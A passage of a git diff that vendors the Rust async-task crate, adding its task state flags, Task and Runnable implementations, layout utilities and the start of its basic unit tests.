ptr: NonNull<()>, + + /// A marker capturing generic type `M`. + pub(crate) _marker: PhantomData, +} + +unsafe impl Send for Runnable {} +unsafe impl Sync for Runnable {} + +#[cfg(feature = "std")] +impl std::panic::UnwindSafe for Runnable {} +#[cfg(feature = "std")] +impl std::panic::RefUnwindSafe for Runnable {} + +impl Runnable { + /// Get the metadata associated with this task. + /// + /// Tasks can be created with a metadata object associated with them; by default, this + /// is a `()` value. See the [`Builder::metadata()`] method for more information. + pub fn metadata(&self) -> &M { + &self.header_with_metadata().metadata + } + + /// Schedules the task. + /// + /// This is a convenience method that passes the [`Runnable`] to the schedule function. + /// + /// # Examples + /// + /// ``` + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with a simple future and the schedule function. + /// let (runnable, task) = async_task::spawn(async {}, schedule); + /// + /// // Schedule the task. + /// assert_eq!(r.len(), 0); + /// runnable.schedule(); + /// assert_eq!(r.len(), 1); + /// # let handle = std::thread::spawn(move || { for runnable in r { runnable.run(); }}); + /// # smol::future::block_on(task); + /// # handle.join().unwrap(); + /// ``` + pub fn schedule(self) { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const Header; + mem::forget(self); + + unsafe { + ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)); + } + } + + /// Runs the task by polling its future. + /// + /// Returns `true` if the task was woken while running, in which case the [`Runnable`] gets + /// rescheduled at the end of this method invocation. Otherwise, returns `false` and the + /// [`Runnable`] vanishes until the task is woken. + /// The return value is just a hint: `true` usually indicates that the task has yielded, i.e. + /// it woke itself and then gave the control back to the executor. + /// + /// If the [`Task`] handle was dropped or if [`cancel()`][`Task::cancel()`] was called, then + /// this method simply destroys the task. + /// + /// If the polled future panics, this method propagates the panic, and awaiting the [`Task`] + /// after that will also result in a panic. + /// + /// # Examples + /// + /// ``` + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with a simple future and the schedule function. + /// let (runnable, task) = async_task::spawn(async { 1 + 2 }, schedule); + /// + /// // Run the task and check its output. + /// runnable.run(); + /// assert_eq!(smol::future::block_on(task), 3); + /// ``` + pub fn run(self) -> bool { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const Header; + mem::forget(self); + + unsafe { ((*header).vtable.run)(ptr) } + } + + /// Returns a waker associated with this task. + /// + /// # Examples + /// + /// ``` + /// use smol::future; + /// + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with a simple future and the schedule function. + /// let (runnable, task) = async_task::spawn(future::pending::<()>(), schedule); + /// + /// // Take a waker and run the task. + /// let waker = runnable.waker(); + /// runnable.run(); + /// + /// // Reschedule the task by waking it. + /// assert_eq!(r.len(), 0); + /// waker.wake(); + /// assert_eq!(r.len(), 1); + /// # let handle = std::thread::spawn(move || { for runnable in r { runnable.run(); }}); + /// # smol::future::block_on(task.cancel()); // cancel because the future is future::pending + /// # handle.join().unwrap(); + /// ``` + pub fn waker(&self) -> Waker { + unsafe { + let raw_waker = Header::clone_waker(self.ptr.as_ptr()); + Waker::from_raw(raw_waker) + } + } + + fn header(&self) -> &Header { + unsafe { &*(self.ptr.as_ptr() as *const Header) } + } + + fn header_with_metadata(&self) -> &HeaderWithMetadata { + unsafe { &*(self.ptr.as_ptr() as *const HeaderWithMetadata) } + } + + /// Converts this task into a raw pointer. + /// + /// To avoid a memory leak the pointer must be converted back to a Runnable using [`Runnable::from_raw`][from_raw]. + /// + /// `into_raw` does not change the state of the [`Task`], but there is no guarantee that it will be in the same state after calling [`Runnable::from_raw`][from_raw], + /// as the corresponding [`Task`] might have been dropped or cancelled. + /// + /// # Examples + /// + /// ```rust + /// use async_task::{Runnable, spawn}; + /// + /// let (runnable, task) = spawn(async {}, |_| {}); + /// let runnable_pointer = runnable.into_raw(); + /// + /// unsafe { + /// // Convert back to an `Runnable` to prevent leak. + /// let runnable = Runnable::<()>::from_raw(runnable_pointer); + /// runnable.run(); + /// // Further calls to `Runnable::from_raw(runnable_pointer)` would be memory-unsafe. + /// } + /// // The memory was freed when `x` went out of scope above, so `runnable_pointer` is now dangling! + /// ``` + /// [from_raw]: #method.from_raw + pub fn into_raw(self) -> NonNull<()> { + let ptr = self.ptr; + mem::forget(self); + ptr + } + + /// Converts a raw pointer into a Runnable. + /// + /// # Safety + /// + /// This method should only be used with raw pointers returned from [`Runnable::into_raw`][into_raw]. + /// It is not safe to use the provided pointer once it is passed to `from_raw`. + /// Crucially, it is unsafe to call `from_raw` multiple times with the same pointer - even if the resulting [`Runnable`] is not used - + /// as internally `async-task` uses reference counting. + /// + /// It is however safe to call [`Runnable::into_raw`][into_raw] on a [`Runnable`] created with `from_raw` or + /// after the [`Task`] associated with a given Runnable has been dropped or cancelled. + /// + /// The state of the [`Runnable`] created with `from_raw` is not specified. + /// + /// # Examples + /// + /// ```rust + /// use async_task::{Runnable, spawn}; + /// + /// let (runnable, task) = spawn(async {}, |_| {}); + /// let runnable_pointer = runnable.into_raw(); + /// + /// drop(task); + /// unsafe { + /// // Convert back to an `Runnable` to prevent leak. + /// let runnable = Runnable::<()>::from_raw(runnable_pointer); + /// let did_poll = runnable.run(); + /// assert!(!did_poll); + /// // Further calls to `Runnable::from_raw(runnable_pointer)` would be memory-unsafe. + /// } + /// // The memory was freed when `x` went out of scope above, so `runnable_pointer` is now dangling! + /// ``` + /// + /// [into_raw]: #method.into_raw + pub unsafe fn from_raw(ptr: NonNull<()>) -> Self { + Self { + ptr, + _marker: Default::default(), + } + } +} + +impl Drop for Runnable { + fn drop(&mut self) { + let ptr = self.ptr.as_ptr(); + let header = self.header(); + + unsafe { + let mut state = header.state.load(Ordering::Acquire); + + loop { + // If the task has been completed or closed, it can't be canceled. + if state & (COMPLETED | CLOSED) != 0 { + break; + } + + // Mark the task as closed. + match header.state.compare_exchange_weak( + state, + state | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => break, + Err(s) => state = s, + } + } + + // Drop the future. + (header.vtable.drop_future)(ptr, header.vtable.layout_info); + + // Mark the task as unscheduled. + let state = header.state.fetch_and(!SCHEDULED, Ordering::AcqRel); + + // Notify the awaiter that the future has been dropped. + if state & AWAITER != 0 { + (*header).notify(None); + } + + // Drop the task reference. + drop_ref(ptr); + } + } +} + +impl fmt::Debug for Runnable { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const HeaderWithMetadata; + + f.debug_struct("Runnable") + .field("header", unsafe { &(*header) }) + .finish() + } +} diff --git a/lib/malio/async-task/src/state.rs b/lib/malio/async-task/src/state.rs new file mode 100644 index 0000000..40ed5ca --- /dev/null +++ b/lib/malio/async-task/src/state.rs @@ -0,0 +1,69 @@ +/// Set if the task is scheduled for running. +/// +/// A task is considered to be scheduled whenever its `Runnable` exists. +/// +/// This flag can't be set when the task is completed. However, it can be set while the task is +/// running, in which case it will be rescheduled as soon as polling finishes. +pub(crate) const SCHEDULED: usize = 1 << 0; + +/// Set if the task is running. +/// +/// A task is in running state while its future is being polled. +/// +/// This flag can't be set when the task is completed. However, it can be in scheduled state while +/// it is running, in which case it will be rescheduled as soon as polling finishes. +pub(crate) const RUNNING: usize = 1 << 1; + +/// Set if the task has been completed. +/// +/// This flag is set when polling returns `Poll::Ready`. The output of the future is then stored +/// inside the task until it becomes closed. In fact, `Task` picks up the output by marking +/// the task as closed. +/// +/// This flag can't be set when the task is scheduled or running. +pub(crate) const COMPLETED: usize = 1 << 2; + +/// Set if the task is closed. +/// +/// If a task is closed, that means it's either canceled or its output has been consumed by the +/// `Task`. A task becomes closed in the following cases: +/// +/// 1. It gets canceled by `Runnable::drop()`, `Task::drop()`, or `Task::cancel()`. +/// 2. Its output gets awaited by the `Task`. +/// 3. It panics while polling the future. +/// 4. It is completed and the `Task` gets dropped. +pub(crate) const CLOSED: usize = 1 << 3; + +/// Set if the `Task` still exists. +/// +/// The `Task` is a special case in that it is only tracked by this flag, while all other +/// task references (`Runnable` and `Waker`s) are tracked by the reference count. +pub(crate) const TASK: usize = 1 << 4; + +/// Set if the `Task` is awaiting the output. +/// +/// This flag is set while there is a registered awaiter of type `Waker` inside the task. When the +/// task gets closed or completed, we need to wake the awaiter. This flag can be used as a fast +/// check that tells us if we need to wake anyone. +pub(crate) const AWAITER: usize = 1 << 5; + +/// Set if an awaiter is being registered. +/// +/// This flag is set when `Task` is polled and we are registering a new awaiter. +pub(crate) const REGISTERING: usize = 1 << 6; + +/// Set if the awaiter is being notified. +/// +/// This flag is set when notifying the awaiter. If an awaiter is concurrently registered and +/// notified, whichever side came first will take over the responsibility of resolving the race. +pub(crate) const NOTIFYING: usize = 1 << 7; + +/// A single reference. +/// +/// The lower bits in the state contain various flags representing the task state, while the upper +/// bits contain the reference count. The value of `REFERENCE` represents a single reference in the +/// total reference count. +/// +/// Note that the reference counter only tracks the `Runnable` and `Waker`s. The `Task` is +/// tracked separately by the `TASK` flag. +pub(crate) const REFERENCE: usize = 1 << 8; diff --git a/lib/malio/async-task/src/task.rs b/lib/malio/async-task/src/task.rs new file mode 100644 index 0000000..d92172f --- /dev/null +++ b/lib/malio/async-task/src/task.rs @@ -0,0 +1,566 @@ +use core::fmt; +use core::future::Future; +use core::marker::PhantomData; +use core::mem; +use core::pin::Pin; +use core::ptr::NonNull; +use core::sync::atomic::Ordering; +use core::task::{Context, Poll}; + +use crate::header::{Header, HeaderWithMetadata}; +use crate::raw::Panic; +use crate::state::*; +use crate::ScheduleInfo; + +/// A spawned task. +/// +/// A [`Task`] can be awaited to retrieve the output of its future. +/// +/// Dropping a [`Task`] cancels it, which means its future won't be polled again. To drop the +/// [`Task`] handle without canceling it, use [`detach()`][`Task::detach()`] instead. To cancel a +/// task gracefully and wait until it is fully destroyed, use the [`cancel()`][Task::cancel()] +/// method. +/// +/// Note that canceling a task actually wakes it and reschedules one last time. Then, the executor +/// can destroy the task by simply dropping its [`Runnable`][`super::Runnable`] or by invoking +/// [`run()`][`super::Runnable::run()`]. +/// +/// # Examples +/// +/// ``` +/// use smol::{future, Executor}; +/// use std::thread; +/// +/// let ex = Executor::new(); +/// +/// // Spawn a future onto the executor. +/// let task = ex.spawn(async { +/// println!("Hello from a task!"); +/// 1 + 2 +/// }); +/// +/// // Run an executor thread. +/// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); +/// +/// // Wait for the task's output. +/// assert_eq!(future::block_on(task), 3); +/// ``` +#[must_use = "tasks get canceled when dropped, use `.detach()` to run them in the background"] +pub struct Task { + /// A raw task pointer. + pub(crate) ptr: NonNull<()>, + + /// A marker capturing generic types `T` and `M`. + pub(crate) _marker: PhantomData<(T, M)>, +} + +unsafe impl Send for Task {} +unsafe impl Sync for Task {} + +impl Unpin for Task {} + +#[cfg(feature = "std")] +impl std::panic::UnwindSafe for Task {} +#[cfg(feature = "std")] +impl std::panic::RefUnwindSafe for Task {} + +impl Task { + /// Detaches the task to let it keep running in the background. + /// + /// # Examples + /// + /// ``` + /// use smol::{Executor, Timer}; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// ex.spawn(async { + /// loop { + /// println!("I'm a daemon task looping forever."); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }) + /// .detach(); + /// ``` + pub fn detach(self) { + let this = self; + let _out = set_detached::(this.ptr.as_ptr()); + mem::forget(this); + } + + /// Cancels the task and waits for it to stop running. + /// + /// Returns the task's output if it was completed just before it got canceled, or [`None`] if + /// it didn't complete. + /// + /// While it's possible to simply drop the [`Task`] to cancel it, this is a cleaner way of + /// canceling because it also waits for the task to stop running. + /// + /// # Examples + /// + /// ``` + /// # if cfg!(miri) { return; } // Miri does not support epoll + /// use smol::{future, Executor, Timer}; + /// use std::thread; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// let task = ex.spawn(async { + /// loop { + /// println!("Even though I'm in an infinite loop, you can still cancel me!"); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }); + /// + /// // Run an executor thread. + /// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); + /// + /// future::block_on(async { + /// Timer::after(Duration::from_secs(3)).await; + /// task.cancel().await; + /// }); + /// ``` + pub async fn cancel(self) -> Option { + let this = self; + set_canceled(this.ptr.as_ptr()); + this.fallible().await + } + + /// Converts this task into a [`FallibleTask`]. + /// + /// Like [`Task`], a fallible task will poll the task's output until it is + /// completed or cancelled due to its [`Runnable`][`super::Runnable`] being + /// dropped without being run. Resolves to the task's output when completed, + /// or [`None`] if it didn't complete. + /// + /// # Examples + /// + /// ``` + /// use smol::{future, Executor}; + /// use std::thread; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a future onto the executor. + /// let task = ex.spawn(async { + /// println!("Hello from a task!"); + /// 1 + 2 + /// }) + /// .fallible(); + /// + /// // Run an executor thread. + /// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); + /// + /// // Wait for the task's output. + /// assert_eq!(future::block_on(task), Some(3)); + /// ``` + /// + /// ``` + /// use smol::future; + /// + /// // Schedule function which drops the runnable without running it. + /// let schedule = move |runnable| drop(runnable); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = async_task::spawn(async { + /// println!("Hello from a task!"); + /// 1 + 2 + /// }, schedule); + /// runnable.schedule(); + /// + /// // Wait for the task's output. + /// assert_eq!(future::block_on(task.fallible()), None); + /// ``` + pub fn fallible(self) -> FallibleTask { + FallibleTask { task: self } + } + + fn header_with_metadata(&self) -> &HeaderWithMetadata { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const HeaderWithMetadata; + unsafe { &*header } + } + + /// Returns `true` if the current task is finished. + /// + /// Note that in a multithreaded environment, this task can change finish immediately after calling this function. + pub fn is_finished(&self) -> bool { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const Header; + + unsafe { + let state = (*header).state.load(Ordering::Acquire); + state & (CLOSED | COMPLETED) != 0 + } + } + + /// Get the metadata associated with this task. + /// + /// Tasks can be created with a metadata object associated with them; by default, this + /// is a `()` value. See the [`Builder::metadata()`] method for more information. + pub fn metadata(&self) -> &M { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const HeaderWithMetadata; + &unsafe { &*header }.metadata + } +} + +/// Puts the task in detached state. +#[inline(never)] +fn set_detached(ptr: *const ()) -> Option> { + let header = ptr as *const Header; + + unsafe { + // A place where the output will be stored in case it needs to be dropped. + let mut output = None; + + // Optimistically assume the `Task` is being detached just after creating the task. + // This is a common case so if the `Task` is datached, the overhead of it is only one + // compare-exchange operation. + if let Err(mut state) = (*header).state.compare_exchange_weak( + SCHEDULED | TASK | REFERENCE, + SCHEDULED | REFERENCE, + Ordering::AcqRel, + Ordering::Acquire, + ) { + loop { + // If the task has been completed but not yet closed, that means its output + // must be dropped. + if state & COMPLETED != 0 && state & CLOSED == 0 { + // Mark the task as closed in order to grab its output. + match (*header).state.compare_exchange_weak( + state, + state | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Read the output. + output = Some( + ((*header).vtable.get_output(ptr) as *mut Result).read(), + ); + + // Update the state variable because we're continuing the loop. + state |= CLOSED; + } + Err(s) => state = s, + } + } else { + // If this is the last reference to the task and it's not closed, then + // close it and schedule one more time so that its future gets dropped by + // the executor. + let new = if state & (!(REFERENCE - 1) | CLOSED) == 0 { + SCHEDULED | CLOSED | REFERENCE + } else { + state & !TASK + }; + + // Unset the `TASK` flag. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If this is the last reference to the task, we need to either + // schedule dropping its future or destroy it. + if state & !(REFERENCE - 1) == 0 { + if state & CLOSED == 0 { + ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)); + } else { + ((*header).vtable.destroy)(ptr); + } + } + + break; + } + Err(s) => state = s, + } + } + } + } + + output + } +} + +/// Puts the task in canceled state. +#[inline(never)] +fn set_canceled(ptr: *const ()) { + let header = ptr as *const Header; + + unsafe { + let mut state = (*header).state.load(Ordering::Acquire); + + loop { + // If the task has been completed or closed, it can't be canceled. + if state & (COMPLETED | CLOSED) != 0 { + break; + } + + // If the task is not scheduled nor running, we'll need to schedule it. + let new = if state & (SCHEDULED | RUNNING) == 0 { + (state | SCHEDULED | CLOSED) + REFERENCE + } else { + state | CLOSED + }; + + // Mark the task as closed. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the task is not scheduled nor running, schedule it one more time so + // that its future gets dropped by the executor. + if state & (SCHEDULED | RUNNING) == 0 { + ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)); + } + + // Notify the awaiter that the task has been closed. + if state & AWAITER != 0 { + (*header).notify(None); + } + + break; + } + Err(s) => state = s, + } + } + } +} + +/// Polls the task to retrieve its output. +/// +/// Returns `Some` if the task has completed or `None` if it was closed. +/// +/// A task becomes closed in the following cases: +/// +/// 1. It gets canceled by `Runnable::drop()`, `Task::drop()`, or `Task::cancel()`. +/// 2. Its output gets awaited by the `Task`. +/// 3. It panics while polling the future. +/// 4. It is completed and the `Task` gets dropped. +fn poll_task(ptr: *const (), cx: &mut Context<'_>) -> Poll> { + let header = ptr as *const Header; + + unsafe { + let mut state = (*header).state.load(Ordering::Acquire); + + loop { + // If the task has been closed, notify the awaiter and return `None`. + if state & CLOSED != 0 { + // If the task is scheduled or running, we need to wait until its future is + // dropped. + if state & (SCHEDULED | RUNNING) != 0 { + // Replace the waker with one associated with the current task. + (*header).register(cx.waker()); + + // Reload the state after registering. It is possible changes occurred just + // before registration so we need to check for that. + state = (*header).state.load(Ordering::Acquire); + + // If the task is still scheduled or running, we need to wait because its + // future is not dropped yet. + if state & (SCHEDULED | RUNNING) != 0 { + return Poll::Pending; + } + } + + // Even though the awaiter is most likely the current task, it could also be + // another task. + (*header).notify(Some(cx.waker())); + return Poll::Ready(None); + } + + // If the task is not completed, register the current task. + if state & COMPLETED == 0 { + // Replace the waker with one associated with the current task. + (*header).register(cx.waker()); + + // Reload the state after registering. It is possible that the task became + // completed or closed just before registration so we need to check for that. + state = (*header).state.load(Ordering::Acquire); + + // If the task has been closed, restart. + if state & CLOSED != 0 { + continue; + } + + // If the task is still not completed, we're blocked on it. + if state & COMPLETED == 0 { + return Poll::Pending; + } + } + + // Since the task is now completed, mark it as closed in order to grab its output. + match (*header).state.compare_exchange( + state, + state | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Notify the awaiter. Even though the awaiter is most likely the current + // task, it could also be another task. + if state & AWAITER != 0 { + (*header).notify(Some(cx.waker())); + } + + // Take the output from the task. + let output = (*header).vtable.get_output(ptr) as *mut Result; + let output = output.read(); + + // Propagate the panic if the task panicked. + let output = match output { + Ok(output) => output, + Err(panic) => { + #[cfg(feature = "std")] + std::panic::resume_unwind(panic); + + #[cfg(not(feature = "std"))] + match panic {} + } + }; + + return Poll::Ready(Some(output)); + } + Err(s) => state = s, + } + } + } +} + +impl Drop for Task { + fn drop(&mut self) { + let ptr = self.ptr.as_ptr(); + set_canceled(ptr); + set_detached::(ptr); + } +} + +impl Future for Task { + type Output = T; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + match poll_task::(self.ptr.as_ptr(), cx) { + Poll::Ready(t) => Poll::Ready(t.expect("Task polled after completion")), + Poll::Pending => Poll::Pending, + } + } +} + +impl fmt::Debug for Task { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Task") + .field("header", self.header_with_metadata()) + .finish() + } +} + +/// A spawned task with a fallible response. +/// +/// This type behaves like [`Task`], however it produces an `Option` when +/// polled and will return `None` if the executor dropped its +/// [`Runnable`][`super::Runnable`] without being run. +/// +/// This can be useful to avoid the panic produced when polling the `Task` +/// future if the executor dropped its `Runnable`. +#[must_use = "tasks get canceled when dropped, use `.detach()` to run them in the background"] +pub struct FallibleTask { + task: Task, +} + +impl FallibleTask { + /// Detaches the task to let it keep running in the background. + /// + /// # Examples + /// + /// ``` + /// use smol::{Executor, Timer}; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// ex.spawn(async { + /// loop { + /// println!("I'm a daemon task looping forever."); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }) + /// .fallible() + /// .detach(); + /// ``` + pub fn detach(self) { + self.task.detach() + } + + /// Cancels the task and waits for it to stop running. + /// + /// Returns the task's output if it was completed just before it got canceled, or [`None`] if + /// it didn't complete. + /// + /// While it's possible to simply drop the [`Task`] to cancel it, this is a cleaner way of + /// canceling because it also waits for the task to stop running. + /// + /// # Examples + /// + /// ``` + /// # if cfg!(miri) { return; } // Miri does not support epoll + /// use smol::{future, Executor, Timer}; + /// use std::thread; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// let task = ex.spawn(async { + /// loop { + /// println!("Even though I'm in an infinite loop, you can still cancel me!"); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }) + /// .fallible(); + /// + /// // Run an executor thread. + /// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); + /// + /// future::block_on(async { + /// Timer::after(Duration::from_secs(3)).await; + /// task.cancel().await; + /// }); + /// ``` + pub async fn cancel(self) -> Option { + self.task.cancel().await + } + + /// Returns `true` if the current task is finished. + /// + /// Note that in a multithreaded environment, this task can change finish immediately after calling this function. + pub fn is_finished(&self) -> bool { + self.task.is_finished() + } +} + +impl Future for FallibleTask { + type Output = Option; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + poll_task::(self.task.ptr.as_ptr(), cx) + } +} + +impl fmt::Debug for FallibleTask { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("FallibleTask") + .field("header", self.task.header_with_metadata()) + .finish() + } +} diff --git a/lib/malio/async-task/src/utils.rs b/lib/malio/async-task/src/utils.rs new file mode 100644 index 0000000..8837f50 --- /dev/null +++ b/lib/malio/async-task/src/utils.rs @@ -0,0 +1,127 @@ +use core::alloc::Layout as StdLayout; +use core::mem; + +/// Aborts the process. +/// +/// To abort, this function simply panics while panicking. +pub(crate) fn abort() -> ! { + struct Panic; + + impl Drop for Panic { + fn drop(&mut self) { + panic!("aborting the process"); + } + } + + let _panic = Panic; + panic!("aborting the process"); +} + +pub(crate) struct Bomb; + +impl Drop for Bomb { + fn drop(&mut self) { + abort(); + } +} + +/// Calls a function and aborts if it panics. +/// +/// This is useful in unsafe code where we can't recover from panics. +#[inline] +pub(crate) fn abort_on_panic(f: impl FnOnce() -> T) -> T { + let bomb = Bomb; + let t = f(); + mem::forget(bomb); + t +} + +/// A version of `alloc::alloc::Layout` that can be used in the const +/// position. +#[derive(Clone, Copy, Debug)] +pub(crate) struct Layout { + size: usize, + align: usize, +} + +impl Layout { + /// Creates a new `Layout` with the given size and alignment. + #[inline] + pub(crate) const fn from_size_align(size: usize, align: usize) -> Self { + Self { size, align } + } + + /// Creates a new `Layout` for the given sized type. + #[inline] + pub(crate) const fn new() -> Self { + Self::from_size_align(mem::size_of::(), mem::align_of::()) + } + + /// Convert this into the standard library's layout type. + /// + /// # Safety + /// + /// - `align` must be non-zero and a power of two. + /// - When rounded up to the nearest multiple of `align`, the size + /// must not overflow. + #[inline] + pub(crate) const unsafe fn into_std(self) -> StdLayout { + StdLayout::from_size_align_unchecked(self.size, self.align) + } + + /// Get the alignment of this layout. + #[inline] + pub(crate) const fn align(&self) -> usize { + self.align + } + + /// Get the size of this layout. + #[inline] + pub(crate) const fn size(&self) -> usize { + self.size + } + + /// Returns the layout for `a` followed by `b` and the offset of `b`. + /// + /// This function was adapted from the `Layout::extend()`: + /// https://doc.rust-lang.org/nightly/std/alloc/struct.Layout.html#method.extend + #[inline] + pub(crate) const fn extend(self, other: Layout) -> Option<(Layout, usize)> { + let new_align = max(self.align(), other.align()); + let pad = self.padding_needed_for(other.align()); + + let offset = leap!(self.size().checked_add(pad)); + let new_size = leap!(offset.checked_add(other.size())); + + // return None if any of the following are true: + // - align is 0 (implied false by is_power_of_two()) + // - align is not a power of 2 + // - size rounded up to align overflows + if !new_align.is_power_of_two() || new_size > isize::MAX as usize - (new_align - 1) { + return None; + } + + let layout = Layout::from_size_align(new_size, new_align); + Some((layout, offset)) + } + + /// Returns the padding after `layout` that aligns the following address to `align`. + /// + /// This function was adapted from the `Layout::padding_needed_for()`: + /// https://doc.rust-lang.org/nightly/std/alloc/struct.Layout.html#method.padding_needed_for + #[inline] + const fn padding_needed_for(self, align: usize) -> usize { + let len = self.size(); + let len_rounded_up = len.wrapping_add(align).wrapping_sub(1) & !align.wrapping_sub(1); + len_rounded_up.wrapping_sub(len) + } +} + +#[inline] +pub(crate) const fn max(left: usize, right: usize) -> usize { + if left > right { + left + } else { + right + } +} diff --git a/lib/malio/async-task/tests/basic.rs b/lib/malio/async-task/tests/basic.rs new file mode 100644 index 0000000..727a05e --- /dev/null +++ b/lib/malio/async-task/tests/basic.rs @@ -0,0 +1,325 @@ +use std::future::Future; +use std::pin::Pin; +use std::ptr::NonNull; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::Arc; +use std::task::{Context, Poll}; + +use async_task::Runnable; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP)` +// +// The future `f` always returns `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Box; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + Poll::Ready(Box::new(0)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |_runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn try_await(f: impl Future) -> Option { + future::block_on(future::poll_once(f)) +} + +#[test] +fn drop_and_detach() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(runnable); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn detach_and_drop() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(runnable); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn detach_and_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn run_and_detach() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + 